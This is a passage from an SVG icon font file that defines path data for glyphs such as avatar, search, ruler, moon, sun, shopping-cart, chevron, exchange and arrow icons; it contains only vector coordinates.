293.014453125 298.707421875 292.8240234375 298.7970703125C292.644140625 298.88203125 292.4671875 298.9716796875 292.283203125 299.0484375C292.0986328125 299.124609375 291.9099609375 299.18671875 291.7224609375 299.253515625C291.525 299.3244140625 291.33046875 299.4 291.12890625 299.4609375C290.94140625 299.5177734375 290.750390625 299.559375 290.5611328125001 299.6068359375C290.35546875 299.658984375 290.1521484375001 299.71640625 289.9429687500001 299.7580078125C289.7232421875001 299.8013671875 289.5017578125 299.827734375 289.2808593750001 299.859375C289.0986328125 299.88515625 288.9193359375 299.9203125 288.7341796875 299.9384765625C288.3234375 299.9783203125 287.912109375 300 287.5001953125 300H225C218.096484375 300 212.5001953125 294.4037109375 212.5001953125 287.5001953125C212.5001953125 280.5966796875 218.096484375 275.000390625 225 275.000390625H257.3220703125L178.6611328125 196.3388671875C173.7796875 191.457421875 173.7796875 183.542578125 178.6611328125 178.6611328125S191.457421875 173.7796875 196.3388671875 178.6611328125zM103.6611328125 121.3388671875L25.0001953125 42.6779296875V75C25.0001953125 81.903515625 19.40390625 87.4998046875 12.500390625 87.4998046875C5.5962890625 87.4998046875 0 81.903515625 0 75V12.4998046875C0 12.087890625 0.0216796875 11.6765625 0.062109375 11.26640625C0.0802734375 11.0818359375 0.11484375 10.9025390625 0.1412109375 10.7197265625C0.1728515625 10.498828125 0.1986328125 10.2767578125 0.242578125 10.0576171875C0.2841796875 9.8478515625 0.3416015625 9.6451171875 0.39375 9.439453125C0.4412109375 9.249609375 0.4828125 9.0591796875 0.5396484375 8.8716796875C0.6005859375 8.6701171875 0.676171875 8.475 0.7470703125 8.278125C0.814453125 8.090625 0.8759765625 7.901953125 0.9521484375 7.7173828125C1.0283203125 7.5328125 1.1185546875 7.3564453125 1.203515625 7.1765625C1.2931640625 6.98671875 1.3775390625 6.7951171875 1.4771484375 6.6087890625C1.5697265625 6.4365234375 1.674609375 6.273046875 1.7748046875 6.10546875C1.8837890625 5.9232421875 1.9869140625 5.7380859375 2.105859375 5.5599609375C2.2294921875 5.3748046875 2.3671875 5.2013671875 2.5001953125 5.0232421875C2.6115234375 4.8744140625 2.7146484375 4.7220703125 2.83359375 4.57734375C3.0931640625 4.2609375 3.366796875 3.9568359375 3.6556640625 3.66796875C3.6580078125 3.665625 3.6591796875 3.66328125 3.6615234375 3.6615234375C3.6638671875 3.6591796874999 3.6662109375 3.657421875 3.6685546875 3.655078125C3.957421875 3.366796875 4.2615234375 3.0931640625 4.57734375 2.83359375C4.7220703125 2.7146484375 4.8744140625 2.6115234375 5.02265625 2.50078125C5.20078125 2.3677734375 5.3748046875 2.2294921874999 5.5599609375 2.105859375C5.7375 1.9869140625 5.9220703125 1.8837890625 6.1048828125 1.7748046875C6.2724609375 1.674609375 6.4359375 1.5697265625 6.6087890625 1.4771484375C6.7951171875 1.3775390625 6.98671875 1.2931640625 7.1765625 1.203515625C7.3564453125 1.1185546875 7.5333984375 1.02890625 7.7173828125 0.952734375C7.901953125 0.8765625 8.0900390625 0.8150390625 8.2775390625 0.74765625C8.475 0.6767578125 8.6701171875 0.601171875 8.872265625 0.5396484375C9.059765625 0.4828125 9.2501953125 0.4412109375 9.439453125 0.39375C9.6451171875 0.3416015625 9.8484375 0.2841796875 10.058203125 0.242578125C10.2779296875 0.19921875 10.4994140625 0.1734375 10.7203125 0.141796875C10.9025390625 0.116015625 11.082421875 0.080859375 11.2669921875 0.0626953125C11.6771484375 0.022265625 12.0884765625 0.0005859375 12.4998046875 0.0005859375C12.4998046875 0.0005859375 12.500390625 0.0005859375 12.500390625 0.0005859375H75C81.903515625 0.0005859375 87.4998046875 5.596875 87.4998046875 12.500390625S81.903515625 25.0001953125 75 25.0001953125H42.6779296875L121.3388671875 103.6611328124999C126.2203125 108.542578125 126.2203125 116.4574218749999 121.3388671875 121.3388671875S108.542578125 126.2203125 103.6611328125 121.3388671875zM297.5015625 5.0244140625C297.633984375 5.2013671875 297.7716796875 5.3748046875 297.8947265625 5.559375C298.0142578125 5.7375 298.1173828125 5.92265625 298.2263671875 6.10546875C298.3259765625 6.2724609375 298.430859375 6.4359375 298.5228515625 6.6076171875C298.6224609375 6.7939453125 298.707421875 6.9861328125 298.7970703125 7.1765625C298.88203125 7.355859375 298.97109375 7.5322265625001 299.0478515625 7.7162109375C299.1240234375 7.90078125 299.1861328125 8.089453125 299.2529296875 8.276953125C299.323828125 8.4744140625 299.3994140625 8.6689453125 299.4603515625 8.8705078125C299.5171875 9.0580078125 299.5587890625 9.2490234375 299.60625 9.43828125C299.6583984375 9.6439453125 299.7158203125 9.847265625 299.757421875 10.0564453125C299.80078125 10.276171875 299.8265625 10.49765625 299.8587890625 10.7185546875C299.8845703125 10.90078125 299.9197265625 11.080078125 299.937890625 11.265234375C299.9783203125 11.6759765625 300 12.087890625 300 12.4998046875V75C300 81.903515625 294.4037109375 87.4998046875 287.5001953125 87.4998046875S275.000390625 81.903515625 275.000390625 75V42.6779296875L196.3388671875 121.3388671875C191.457421875 126.2203125 183.542578125 126.2203125 178.6611328125 121.3388671875S173.7796875 108.542578125 178.6611328125 103.6611328125L257.3220703125 25.0001953125H225C218.096484375 25.0001953125 212.5001953125 19.40390625 212.5001953125 12.500390625S218.096484375 0 225 0H287.5001953125C287.912109375 0 288.3234375 0.0216796875 288.73359375 0.062109375C288.9181640625 0.0802734375 289.0974609375001 0.11484375 289.2802734375 0.1412109375C289.501171875 0.1728515625 289.7232421875001 0.1986328125 289.9423828125 0.242578125C290.1521484375001 0.2841796875 290.3548828125 0.3416015625 290.560546875 0.39375C290.750390625 0.4412109375 290.9408203125 0.4828125 291.1283203125 0.5396484375C291.3298828125001 0.6005859375 291.5250000000001 0.676171875 291.721875 0.7470703125C291.909375 0.814453125 292.098046875 0.8759765625 292.2826171875 0.9521484375C292.4666015625001 1.0283203125 292.64296875 1.11796875 292.822265625 1.2029296875C293.0126953125 1.292578125 293.2048828125 1.376953125 293.3912109375 1.4771484375C293.562890625 1.569140625 293.7263671875 1.6740234375 293.8933593750001 1.7736328125C294.076171875 1.8826171875 294.2613281250001 1.986328125 294.439453125 2.1052734375C294.6240234375 2.22890625 294.7974609375001 2.366015625 294.9744140625001 2.4984375C295.1238281250001 2.6103515624999 295.2767578125 2.7140625 295.4220703125001 2.8330078125C295.7355468750001 3.090234375 296.0373046875001 3.362109375 296.3244140625001 3.6486328125C296.3291015625001 3.652734375 296.3337890625001 3.6568359375 296.3378906250001 3.6609375S296.3460937500001 3.6703125 296.3501953125001 3.6744140625C296.6361328125001 3.9615234375 296.9080078125001 4.2626953125 297.1658203125001 4.5767578125C297.2859375 4.7220703125 297.3896484375 4.875 297.5015625 5.0244140625zM42.6779296875 274.9998046875H75C81.903515625 274.9998046875 87.4998046875 280.59609375 87.4998046875 287.499609375C87.4998046875 294.4037109375 81.903515625 300 75 300H12.4998046875C12.4998046875 300 12.49921875 300 12.49921875 300C12.087890625 300 11.6759765625 299.9783203125 11.26640625 299.937890625C11.08125 299.9197265625 10.901953125 299.88515625 10.7197265625 299.8587890625C10.498828125 299.8271484375 10.27734375 299.8013671875 10.0576171875 299.7580078125C9.8478515625 299.71640625 9.64453125 299.658984375 9.4388671875 299.6068359375C9.249609375 299.559375 9.0591796875 299.5177734375 8.8716796875 299.4609375C8.66953125 299.4 8.4744140625 299.323828125 8.276953125 299.2529296875C8.0900390625 299.185546875 7.9013671875 299.1240234375 7.716796875 299.0478515625C7.5322265625 298.97109375 7.3546875 298.8814453125 7.1748046875 298.7958984375C6.985546875 298.7068359375 6.7939453125 298.6224609375 6.608203125 298.5228515625C6.4353515625 298.4302734375 6.2712890625 298.3248046875 6.103125 298.224609375C5.921484375 298.1162109375 5.7369140625 298.013671875 5.559375 297.8947265625C5.3736328125 297.7705078125 5.1990234375 297.6322265625 5.0203125 297.4986328125C4.87265625 297.387890625 4.7208984375 297.2853515625 4.57734375 297.1669921875C3.9404296875 296.6443359375 3.3556640625 296.0595703125 2.8330078125 295.42265625C2.7146484375 295.2791015625 2.612109375 295.12734375 2.5013671875 294.9791015625C2.3677734375 294.800390625 2.2294921875 294.62578125 2.1052734375 294.4400390625C1.986328125 294.2625 1.8837890625 294.078515625 1.7748046875 293.8962890625C1.674609375 293.7287109375 1.569140625 293.5640625 1.4765625 293.3912109375C1.376953125 293.20546875 1.2931640625 293.014453125 1.203515625 292.824609375C1.1185546875 292.6447265625 1.0283203125 292.4671875 0.9515625 292.2826171875C0.875390625 292.098046875 0.8138671875 291.9099609375 0.746484375 291.7224609375C0.6755859375 291.525 0.6 291.3298828125 0.5384765625 291.127734375C0.481640625 290.940234375 0.4400390625 290.7498046875 0.392578125 290.560546875C0.3404296875 290.3548828125 0.2830078125 290.1515625 0.24140625 289.941796875C0.198046875 289.7220703125 0.172265625 289.5005859375 0.140625 289.2796875C0.11484375 289.0974609375 0.0796875 288.917578125 0.0615234375 288.7330078125C0.0216796875 288.3234375 0 287.912109375 0 287.5001953125V225C0 218.096484375 5.5962890625 212.5001953125 12.4998046875 212.5001953125C19.4033203125 212.5001953125 24.999609375 218.096484375 24.999609375 225V257.3220703125L103.660546875 178.6611328125C108.5419921875 173.7796875 116.4568359375 173.7796875 121.33828125 178.6611328125S126.2197265625 191.457421875 121.33828125 196.3388671875L42.6779296875 274.9998046875z" />
    <glyph glyph-name="019-avatar"
      unicode="&#xF113;"
      horiz-adv-x="300" d="M148.9128183889004 138.3516255953614C149.2234417063575 138.3516255953614 149.5340650238145 138.3516255953614 149.9068130047629 138.3516255953614C150.0310623317457 138.3516255953614 150.1553116587285 138.3516255953614 150.2795609857113 138.3516255953614C150.4659349761856 138.3516255953614 150.7144336301512 138.3516255953614 150.9008076206254 138.3516255953614C169.1033340236074 138.6622489128184 183.8268792710706 145.0610892524332 194.6986953820667 157.2996479602402C218.616690826258 184.2617519155105 214.6407123628081 230.4825015531166 214.2058397183682 234.8933526610064C212.652723131083 268.0057983019259 196.9973079312487 283.8475874922344 184.0753779250362 291.2404224477118C174.4460550838683 296.7695174984469 163.2014909919238 299.7515013460344 150.6523089666598 300H150.21743632222C150.1553116587286 300 150.0310623317457 300 149.9689376682543 300H149.5961896873059C142.7003520397598 300 129.1571753986333 298.8817560571547 116.1731207289294 291.4889211016774C103.1269413957341 284.0960861462001 87.2230275419342 268.2542969558915 85.669910954649 234.8933526610064C85.2350383102092 230.4825015531166 81.2590598467592 184.2617519155105 105.1770552909505 157.2996479602402C115.9867467384552 145.0610892524332 130.7102919859184 138.6622489128184 148.9128183889004 138.3516255953614zM102.2571961068544 233.3402360737213C102.2571961068544 233.5266100641955 102.3193207703458 233.7129840546697 102.3193207703458 233.8372333816525C104.3694346655622 278.3806171049907 135.9908883826879 283.164216193829 149.5340650238145 283.164216193829H149.7825636777801C149.9068130047629 283.164216193829 150.0931869952371 283.164216193829 150.2795609857114 283.164216193829C167.053220128391 282.7914682128805 195.5684406709464 275.9577552288258 197.49430523918 233.8372333816525C197.49430523918 233.6508593911783 197.49430523918 233.4644854007041 197.5564299026714 233.3402360737213C197.6185545661628 232.9053634292814 201.9672810105612 190.6605922551253 182.2116380202941 168.4199627252019C174.3839304203769 159.5982605094222 163.9469869538207 155.2495340650238 150.21743632222 155.125284738041C150.0931869952372 155.125284738041 150.0310623317457 155.125284738041 149.9068130047629 155.125284738041L149.9068130047629 155.125284738041C149.7825636777801 155.125284738041 149.7204390142887 155.125284738041 149.5961896873059 155.125284738041C135.9287637191966 155.2495340650238 125.4296955891489 159.5982605094222 117.6641126527232 168.4199627252019C97.9705943259474 190.5363429281425 102.195071443363 232.9674880927729 102.2571961068544 233.3402360737213zM277.5729964796025 61.6897908469662C277.5729964796025 61.7519155104576 277.5729964796025 61.814040173949 277.5729964796025 61.8761648374404C277.5729964796025 62.3731621453717 277.5108718161111 62.8701594533029 277.5108718161111 63.4292814247256C277.1381238351626 75.729964796024 276.3305032097744 104.493683992545 249.3683992545041 113.6881341892732C249.1820252640298 113.7502588527646 248.9335266100642 113.812383516256 248.74715261959 113.8745081797474C220.7289293849658 121.0188444812591 197.4321805756885 137.1712569890247 197.1836819217229 137.3576309794989C193.3940774487472 140.0289915096294 188.1756057154691 139.0971215572583 185.5042451853386 135.3075170842825C182.8328846552081 131.5179126113067 183.7647546075792 126.2994408780286 187.554359080555 123.6280803478981C188.6104783599089 122.8825843860013 213.3360944294885 105.6740525988818 244.2741768482088 97.7220956719818C258.7492234417064 92.5657486021951 260.364464692483 77.096707392835 260.7993373369228 62.9322841167944C260.7993373369228 62.3731621453717 260.7993373369228 61.8761648374405 260.8614620004143 61.3791675295092C260.9235866639056 55.7879478152827 260.5508386829572 47.1526195899772 259.5568440670947 42.1826465106647C249.4926485814869 36.4671774694554 210.043487264444 16.7115344791882 150.0310623317457 16.7115344791882C90.2671360530131 16.7115344791882 50.5694760820046 36.5293021329468 40.4431559329054 42.2447711741561C39.4491613170429 47.2147442534686 39.014288672603 55.8500724787741 39.1385379995858 61.4412921930006C39.1385379995858 61.9382895009319 39.2006626630772 62.4352868088631 39.2006626630772 62.9944087802858C39.6355353075171 77.1588320563264 41.2507765582936 92.6278732656865 55.7258231517913 97.7842203354732C86.6639055705115 105.7361772623732 111.3895216400911 123.0068337129841 112.445640919445 123.6902050113895C116.2352453924208 126.36156554152 117.1671153447919 131.5800372747981 114.4957548146615 135.3696417477739C111.824394284531 139.1592462207497 106.6059225512529 140.0911161731208 102.8163180782771 137.4197556429903C102.5678194243115 137.2333816525161 79.395319942017 121.0809691447505 51.25284738041 113.9366328432388C51.0043487264444 113.8745081797474 50.8179747359702 113.812383516256 50.631600745496 113.7502588527646C23.6694967902257 104.4936839925451 22.8618761648374 75.729964796024 22.489128183889 63.4914060882171C22.489128183889 62.9322841167944 22.489128183889 62.4352868088631 22.4270035203976 61.9382895009319C22.4270035203976 61.8761648374405 22.4270035203976 61.8140401739491 22.4270035203976 61.7519155104577C22.3648788569062 58.5214330089046 22.3027541934148 41.9341478566992 25.5953613584593 33.6094429488507C26.2166079933734 31.9942016980741 27.3348519362187 30.6274591012632 28.8258438600124 29.6955891488921C30.6895837647546 28.453095879064 75.3572168150756 0 150.0931869952371 0S269.4967902257196 28.5152205425554 271.3605301304619 29.6955891488921C272.7893973907641 30.6274591012632 273.9697659971009 31.9942016980741 274.5910126320149 33.6094429488507C277.6972458065853 41.8720231932077 277.6351211430939 58.4593083454131 277.5729964796025 61.6897908469662z" />
    <glyph glyph-name="020-search"
      unicode="&#xF114;"
      horiz-adv-x="300" d="M290.4153354632588 26.7475336165432L219.0148509637328 101.0076185795036C237.3731699610294 122.8311624477759 247.4318014254117 150.2896464557807 247.4318014254117 178.8751184917319C247.4318014254117 245.6623248955518 193.0941263209634 300 126.3069199171436 300S5.1820384088755 245.6623248955518 5.1820384088755 178.8751184917319S59.5197135133238 57.7502369834638 126.3069199171436 57.7502369834638C151.3797703893551 57.7502369834638 175.27296984166 65.3126426289366 195.7009444229892 79.6685742372643L267.6438577397044 4.8449952603307C270.6509145806271 1.7220798370959 274.695432363164 0 279.0295966014816 0C283.1320436751747 0 287.0238387810273 1.5640908612154 289.9782326299898 4.4078924270618C296.2556612716357 10.4483376048871 296.4557806410841 20.4648386757013 290.4153354632588 26.7475336165432zM126.3069199171436 268.4022048239301C175.6732085805568 268.4022048239301 215.8340062493417 228.2414071551452 215.8340062493417 178.8751184917319S175.6732085805568 89.3480321595338 126.3069199171436 89.3480321595338S36.7798335849454 129.5088298283187 36.7798335849454 178.8751184917319S76.9406312537303 268.4022048239301 126.3069199171436 268.4022048239301z" />
    <glyph glyph-name="021-ruler"
      unicode="&#xF115;"
      horiz-adv-x="300" d="M217.533984375 300L0 82.4666015625L82.4666015625 0L300 217.5333984375zM24.870703125 82.4666015625L65.5541015625 123.15L91.766015625 96.9380859375L104.20078125 109.3728515625L77.9888671875 135.584765625L95.7251953125 153.32109375L109.006640625 140.0396484375L121.44140625 152.4744140625L108.1599609375 165.755859375L125.8962890625 183.4921875L152.108203125 157.2802734375L164.54296875 169.7150390625L138.3310546875 195.926953125L156.0673828125 213.66328125L169.348828125 200.3818359375L181.7835937499999 212.8166015625L168.5021484374999 226.098046875L186.2384765624999 243.834375L212.4503906249999 217.6224609375L224.8857421875 230.0572265625001L198.673828125 256.2691406250001L217.5328124999999 275.128125L275.1287109375 217.5322265625L82.4666015624999 24.870703125zM61.6523572265625 74.6289357421875L74.085476953125 87.06205546875L87.01446328125 74.133069140625L74.5813435546875 61.6999494140625z" />
    <glyph glyph-name="022-moon"
      unicode="&#xF116;"
      horiz-adv-x="300" d="M292.6997685510786 129.1379486720458C289.6308325767554 129.9051826656267 286.5618966024321 129.1379486720458 283.8765776248993 127.2198636880938C273.9025357083488 118.7802897587049 262.3940258046367 111.8751838164777 249.7346649105533 107.2717798549928C237.8425380100508 102.6683758935079 224.799560119177 100.3666739127655 210.9893482347224 100.3666739127655C179.9163714946997 100.3666739127655 151.5287137322097 113.0260348068489 131.1970129023183 133.3577356367403C110.8653120724268 153.6894364666317 98.2059511783435 182.0770942291217 98.2059511783435 213.1500709691444C98.2059511783435 226.1930488600182 100.5076531590859 238.8524097541016 104.34382312699 250.3609196578137C108.5636100916844 262.6366635551066 114.7014820403309 273.7615564620284 122.7574389729294 283.3519813817885C126.209991944043 287.5717683464829 125.4427579504622 293.7096402951294 121.2229709857678 297.162193266243C118.537652008235 299.080278250195 115.4687160339117 299.8475122437759 112.3997800595885 299.080278250195C79.7923353324041 290.2570873240158 51.4046775699142 270.6926204877051 31.0729767400227 244.6066647059576C11.5085099037121 218.9043259210005 0 187.0641151873969 0 152.5385854762605C0 110.7243328261064 16.8791478587778 72.7462501438564 44.4995716276869 45.1258263749473S109.7144610820556 0.6262547472604 151.9123307290001 0.6262547472604C187.2050944337174 0.6262547472604 219.8125391609017 12.9019986445533 245.8984949426492 33.2336994744447C272.3680677211872 53.9490173011266 291.5489175607074 83.4875260539877 299.6048744933059 117.2458217715433C301.1393424804675 122.616459726609 298.0704065061443 127.9870976816746 292.6997685510786 129.1379486720458z" />
    <glyph glyph-name="023-sun"
      unicode="&#xF117;"
      horiz-adv-x="300" d="M150 225.1395039858282C108.5673162090345 225.1395039858282 74.8604960141718 191.4260407440212 74.8604960141718 149.9933569530558S108.5673162090345 74.8472099202834 150 74.8472099202834C191.4260407440213 74.8472099202834 225.1395039858282 108.5540301151461 225.1395039858282 149.9933569530558S191.4260407440213 225.1395039858282 150 225.1395039858282zM150 247.2276350752879C141.9021257750222 247.2276350752879 135.3387953941541 253.7909654561559 135.3387953941541 261.8821966341896V285.3387953941541C135.3387953941542 293.436669619132 141.9021257750222 300 150 300C158.0978742249779 300 164.6612046058459 293.436669619132 164.6612046058459 285.3387953941541V261.8821966341896C164.6612046058459 253.7909654561559 158.0912311780337 247.2276350752879 150 247.2276350752879zM150 52.7790079716563C141.9021257750222 52.7790079716563 135.3387953941541 46.2156775907883 135.3387953941541 38.1178033658104V14.66784765279C135.3387953941541 6.563330380868 141.9021257750222 -1e-13 150 -1e-13C158.0978742249779 -1e-13 164.6612046058459 6.563330380868 164.6612046058459 14.66784765279V38.1178033658104C164.6612046058459 46.2156775907883 158.0912311780337 52.7790079716563 150 52.7790079716563zM218.7422497785651 218.7488928255093C213.0225863596103 224.4751992914083 213.0225863596103 233.7555358724535 218.7422497785651 239.4818423383525L235.3299379982286 256.0695305580159C241.0496014171834 261.7891939769708 250.3365810451728 261.7891939769708 256.0628875110718 256.0695305580159C261.7891939769708 250.3432240921169 261.7891939769708 241.0562444641276 256.0628875110718 235.3365810451727L239.4751992914084 218.7488928255093C233.7555358724536 213.0225863596103 224.4751992914083 213.0225863596103 218.7422497785651 218.7488928255093zM81.2511071744907 81.2444641275465C75.5248007085917 86.9774136403897 66.2444641275465 86.9774136403897 60.5181576616475 81.2444641275465L43.9304694419841 64.6634189548272C38.2108060230292 58.9437555358724 38.204162976085 49.6501328609388 43.9304694419841 43.930469441984C49.6567759078831 38.2108060230292 58.9437555358725 38.2108060230292 64.6634189548273 43.930469441984L81.2511071744907 60.5248007085916C86.9774136403897 66.2444641275465 86.9774136403897 75.5314437555359 81.2511071744907 81.2444641275465zM247.2209920283437 150C247.2209920283437 158.0978742249779 253.7843224092118 164.6612046058459 261.8821966341896 164.6612046058459H285.3387953941542C293.4366696191321 164.6612046058459 300.0000000000001 158.0978742249779 300.0000000000001 150C300.0000000000001 141.9021257750221 293.4366696191321 135.3454384410983 285.3387953941542 135.3454384410983H261.8821966341896C253.7843224092118 135.3454384410983 247.2209920283437 141.9021257750221 247.2209920283437 150zM52.7723649247121 150C52.7723649247121 158.0978742249779 46.2090345438441 164.6612046058459 38.1111603188663 164.6612046058459H14.6612046058459C6.563330380868 164.6612046058459 0 158.0978742249778 0 150C0 141.9021257750221 6.563330380868 135.3454384410983 14.6612046058459 135.3454384410983H38.1178033658105C46.2090345438441 135.3454384410983 52.7723649247121 141.9021257750221 52.7723649247121 150zM218.7422497785651 81.2444641275465C224.4685562444642 86.9641275465013 233.7555358724535 86.9641275465013 239.4751992914084 81.2444641275465L256.0628875110718 64.6567759078831C261.7891939769708 58.9437555358724 261.7891939769708 49.6501328609388 256.0628875110718 43.930469441984S241.0562444641276 38.2108060230293 235.3299379982286 43.930469441984L218.7422497785651 60.5181576616475C213.0159433126661 66.2444641275465 213.0159433126661 75.5248007085917 218.7422497785651 81.2444641275465zM81.2511071744907 218.7488928255093C86.9774136403897 224.4751992914083 86.9774136403897 233.7555358724535 81.2511071744907 239.4818423383525L64.6634189548273 256.0628875110717C58.9371124889283 261.7891939769708 49.6567759078831 261.7891939769708 43.9304694419841 256.0628875110717C38.204162976085 250.3432240921169 38.204162976085 241.0562444641276 43.9304694419841 235.3365810451727L60.5181576616475 218.7488928255093C66.2444641275465 213.0159433126661 75.5248007085917 213.0159433126661 81.2511071744907 218.7488928255093z" />
    <glyph glyph-name="024-shopping-cart-1"
      unicode="&#xF118;"
      horiz-adv-x="300" d="M237.5328371064674 87.5307863132011C216.9065443742835 87.5307863132011 200.1263679279371 70.7500239259214 200.1263679279371 50.1243171346707S216.9071303152167 12.7178479561404 237.5328371064675 12.7178479561404S274.9393062849979 29.49861034342 274.9393062849979 50.1243171346707S258.1585438977182 87.5307863132011 237.5328371064674 87.5307863132011zM237.5328371064674 35.1617294632586C229.2810309435407 35.1617294632586 222.5702494350553 41.872510971744 222.5702494350553 50.1243171346707S229.2810309435407 65.0869048060829 237.5328371064674 65.0869048060829C245.7846432693942 65.0869048060829 252.4954247778796 58.3761232975975 252.4954247778796 50.1243171346707S245.7846432693942 35.1617294632586 237.5328371064674 35.1617294632586zM297.6152204016821 232.1040943599279C295.4905985777261 234.8234462311303 292.2321810479358 236.4095883374317 288.7798170692407 236.4095883374317H69.2699371285379L59.170073262148 278.6676484432526C57.9618630577914 283.7172874059809 53.4466022261849 287.2821520438597 48.2545796166774 287.2821520438597H11.2219407535591C5.0238575616654 287.2827379847929 0 282.2588804231275 0 276.0607972312338S5.0238575616654 264.8388564776747 11.2219407535591 264.8388564776747H39.3969105287726L75.8682179778397 112.2346419998555C77.0764281821964 107.1809014505945 81.5916890138028 103.6201383992485 86.7837116233103 103.6201383992485H261.4732117571002C266.6318357334125 103.6201383992485 271.1277605142218 107.1363699396676 272.3658537061741 112.1414773914691L299.6730449592478 222.4911474090669C300.4992216751271 225.8421436063102 299.7398422256381 229.3847424887255 297.6152204016821 232.1040943599279zM252.6934728133173 126.0634339654334H95.6413807112151L74.6336404314869 213.9657068303135H274.4412564917372L252.6934728133173 126.0634339654334zM101.7462992947224 87.5307863132011C81.1200065625385 87.5307863132011 64.3398301161921 70.7500239259214 64.3398301161921 50.1243171346707S81.1205925034717 12.7178479561404 101.7462992947224 12.7178479561404S139.1527684732528 29.49861034342 139.1527684732528 50.1243171346707S122.3720060859732 87.5307863132011 101.7462992947224 87.5307863132011zM101.7462992947224 35.1617294632586C93.4944931317957 35.1617294632586 86.7837116233103 41.872510971744 86.7837116233103 50.1243171346707S93.4944931317957 65.0869048060829 101.7462992947224 65.0869048060829S116.7088869661346 58.3761232975975 116.7088869661346 50.1243171346707S109.9981054576492 35.1617294632586 101.7462992947224 35.1617294632586z" />
    <glyph glyph-name="025-shopping-cart-2"
      unicode="&#xF119;"
      horiz-adv-x="300" d="M176.875 104.375H41.875C36.25 104.375 31.25 108.125 30 113.75L3.125 235.625C2.5 239.375 3.125 243.125 5.625 245.625S11.25 250 15 250H147.5C154.375 250 160 244.375 160 237.5S154.375 225 147.5 225H30.625L51.875 127.5H168.75L229.375 287.5C231.25 292.5 235.625 295.625 240.625 295.625H285C291.875 295.625 297.5 290 297.5 283.125S291.875 270.625 285 270.625H249.375L188.75 112.5C186.875 107.5 181.875 104.375 176.875 104.375zM60 3.125C37.5 3.125 18.75 21.25 18.75 43.75S36.875 84.375 60 84.375C82.5 84.375 101.25 66.25 101.25 43.75S83.125 3.125 60 3.125zM60 60.625C51.25 60.625 43.75 53.125 43.75 43.75S51.25 27.5 60 27.5S76.25 35 76.25 43.75S69.375 60.625 60 60.625zM157.5 3.125C135 3.125 116.25 21.25 116.25 43.75S134.375 84.375 157.5 84.375S198.75 66.25 198.75 43.75S180 3.125 157.5 3.125zM157.5 60.625C148.125 60.625 141.25 53.125 141.25 44.375S148.75 28.125 157.5 28.125C166.875 28.125 173.75 35.625 173.75 44.375S166.25 60.625 157.5 60.625z" />
    <glyph glyph-name="026-right-chevron"
      unicode="&#xF11A;"
      horiz-adv-x="300" d="M83.0662975289371 300L67.4211409890142 284.4063852973228L201.39015698171 150L67.4211409890142 15.5936147026773L83.0662975289371 0L232.5781226990252 150z" />
    <glyph glyph-name="027-left-chevron"
      unicode="&#xF11B;"
      horiz-adv-x="300" d="M232.5781226990252 284.4063852973228L216.9329661591023 300L67.4211409890142 150L216.9329661591023 0L232.5781226990252 15.5936147026773L98.60984301829 150z" />
    <glyph glyph-name="028-down-chevron"
      unicode="&#xF11C;"
      horiz-adv-x="300" d="M284.4056872596255 232.5782881770679L149.9996318449233 98.6103373036813L15.5943127403746 232.5782881770679L0 216.9331700361038L149.9996318449233 67.4217118229321L300 216.9331700361038z" />
    <glyph glyph-name="029-up-chevron"
      unicode="&#xF11D;"
      horiz-adv-x="300" d="M150 232.5781226990252L0 83.0670338408977L15.5943510146379 67.4218773009748L150 201.39015698171L284.4063852973228 67.4218773009748L300 83.0670338408977z" />
    <glyph glyph-name="030-exchange"
      unicode="&#xF11E;"
      horiz-adv-x="300" d="M31.036801925641 100.7407582211419C17.8794350509139 132.5060471262876 17.8787270946656 167.4939528737124 31.036801925641 199.2592417788581C38.5758280138288 217.4600889665019 49.9236587178912 233.3487510471853 64.2116317211596 246.0799282604335L107.2978489929323 202.9937109886609V289.3105686068601H20.9802834184847L49.2135786008425 261.0772734245024C3.6969475286427 219.7142216611014 -13.4405493740487 152.6183761843518 11.4150865476514 92.6127125343654C21.4447027173721 68.3991929298769 37.6590246722753 47.1909475994384 58.3058606978089 31.2796309188092C78.3233236186004 15.8539722245165 102.1092376491133 5.6509067739614 127.092305695508 1.7741383582494L130.3496123939541 22.7622092954655C85.505539757643 29.7207112600441 48.3796061403405 58.872225696452 31.036801925641 100.7407582211419zM288.5034984837938 92.6127125343654C303.8321671720688 129.6190015457045 303.8321671720688 170.3802904980472 288.5034984837938 207.3865795093863C278.473882314073 231.6000991138748 262.2588524029216 252.8083444443134 241.6127243336362 268.7189531686942C221.5952614128447 284.1453198192352 197.8093473823318 294.3483852697904 172.8262793359371 298.2251536855022L169.568972637491 277.2370827482862C214.4123373175538 270.2785807837076 251.5382709348563 241.1277743035481 268.8810751495558 199.2585338226098C282.0391499805312 167.4932449174641 282.0391499805312 132.5053391700393 268.8810751495558 100.7400502648937C261.342049061368 82.5392030772499 249.9942183573055 66.6505409965664 235.7069533102855 53.9193637833182L192.6207360385128 97.0055810550908V10.6887234368916H278.937593656712L250.7602270179703 38.8660900756333C266.9830444478531 53.5611379216765 279.8791754669562 71.791719271749 288.5034984837938 92.6127125343654z" />
    <glyph glyph-name="031-down-arrow"
      unicode="&#xF11F;"
      horiz-adv-x="300" d="M218.9146453372756 95.6420761297991L159.6048406910353 36.3316415133564L159.6048406910353 300L140.7057346187525 300L140.7057346187525 36.021696173771L81.0853546627245 95.6420761297991L67.7217967590133 82.2778882558855L150.0003149851012 0L232.2782032409868 82.2785182260879z" />
    <glyph glyph-name="032-left-arrow"
      unicode="&#xF120;"
      horiz-adv-x="300" d="M300 159.4492380510402L36.1772988137661 159.4492380510402L95.6420761297991 218.9146453372756L82.2785182260879 232.2782032409867L0 150.0003149851012L82.2785182260879 67.7211667888109L95.6420761297991 81.0853546627245L36.1772988137661 140.5501319787574L300 140.5501319787574z" />
    <glyph glyph-name="033-exchange-1"
      unicode="&#xF121;"
      horiz-adv-x="300" d="M31.0375098818893 100.7407582211419C17.8801430071622 132.5060471262876 17.8794350509139 167.4939528737124 31.0375098818893 199.2592417788581C42.092246699154 225.9470684711685 61.3238781843282 247.6721218628689 86.0273035126429 261.7399204729148V208.6396620688842H107.2659909617586V289.3431345942821H26.5618104801123V268.1044471451665H57.5384361246475C5.8576299984661 227.6348361671249 -14.9024790267961 156.1489539946431 11.4150865476514 92.6127125343654C21.4447027173721 68.3991929298769 37.6590246722753 47.1909475994384 58.3058606978089 31.2796309188092C78.3226156623521 15.8539722245165 102.1092376491133 5.6509067739614 127.092305695508 1.7741383582494L130.349612393954 22.7622092954655C85.505539757643 29.7207112600441 48.3803140965888 58.8715177402036 31.0375098818893 100.7407582211419zM288.5042064400421 92.6127125343654C303.8321671720688 129.6190015457045 303.8321671720688 170.3802904980472 288.5042064400421 207.3865795093863C278.4745902703213 231.6000991138748 262.2602683154181 252.8083444443134 